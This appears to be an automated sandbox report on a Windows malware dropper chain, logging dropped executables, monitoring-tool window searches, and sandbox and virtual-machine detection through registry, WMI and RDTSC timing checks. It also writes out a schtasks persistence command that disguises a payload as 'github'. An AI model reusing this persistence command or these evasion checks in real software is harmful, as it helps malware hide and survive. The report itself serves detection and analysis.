Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.9860466380900865
Source: random[1].exe.6.dr	Static PE information: section name: enyyijut entropy: 7.954642903618639
Source: github.exe.7.dr	Static PE information: section name: U@7' entropy: 7.9871822316254475

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	File created: C:\Users\user\AppData\Roaming\github.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe"

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\github.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57200 second address: E57208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E7D8 second address: E3E7E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DE916F962h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56649 second address: E566A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEEh 0x00000007 push esi 0x00000008 jmp 00007F3DE9170BF3h 0x0000000d jno 00007F3DE9170BE6h 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d jns 00007F3DE9170BE6h 0x00000023 popad 0x00000024 jp 00007F3DE9170BFFh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E566A3 second address: E566A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E566A9 second address: E566B3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DE9170BE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E566B3 second address: E566C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jne 00007F3DE916F956h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E566C3 second address: E566C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56A65 second address: E56A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56B75 second address: E56B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58690 second address: E58694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58694 second address: E5869A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5869A second address: E586BF instructions: 0x00000000 rdtsc 0x00000002 je 00007F3DE916F969h 0x00000008 jmp 00007F3DE916F963h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E586BF second address: E58738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jns 00007F3DE9170BE8h 0x0000000b popad 0x0000000c pop eax 0x0000000d mov esi, eax 0x0000000f push 00000003h 0x00000011 mov dword ptr [ebp+122D1C31h], edx 0x00000017 push 00000000h 0x00000019 jmp 00007F3DE9170BF5h 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F3DE9170BE8h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a call 00007F3DE9170BE9h 0x0000003f jmp 00007F3DE9170BF7h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58738 second address: E5873E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5873E second address: E58758 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F3DE9170BE6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F3DE9170BE8h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58758 second address: E587C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F965h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F3DE916F961h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jno 00007F3DE916F962h 0x0000001a pop eax 0x0000001b sub edi, dword ptr [ebp+122D3653h] 0x00000021 mov edx, dword ptr [ebp+122D373Fh] 0x00000027 lea ebx, dword ptr [ebp+1244D30Ch] 0x0000002d push edi 0x0000002e mov dword ptr [ebp+122D2AC5h], eax 0x00000034 pop ecx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 jmp 00007F3DE916F95Ch 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E587C7 second address: E587CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58857 second address: E5885C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5885C second address: E58862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A667 second address: E6A671 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B1DE second address: E3B1FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3DE9170BECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3DE9170BECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7753E second address: E77544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E77544 second address: E77548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E77548 second address: E77553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E77C1E second address: E77C4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3DE9170BF9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F3DE9170BE6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78041 second address: E78049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78049 second address: E7804F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7804F second address: E78061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE916F95Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78222 second address: E78228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78228 second address: E7822D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7822D second address: E78233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78362 second address: E78366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E784BA second address: E784CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E784CB second address: E784CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
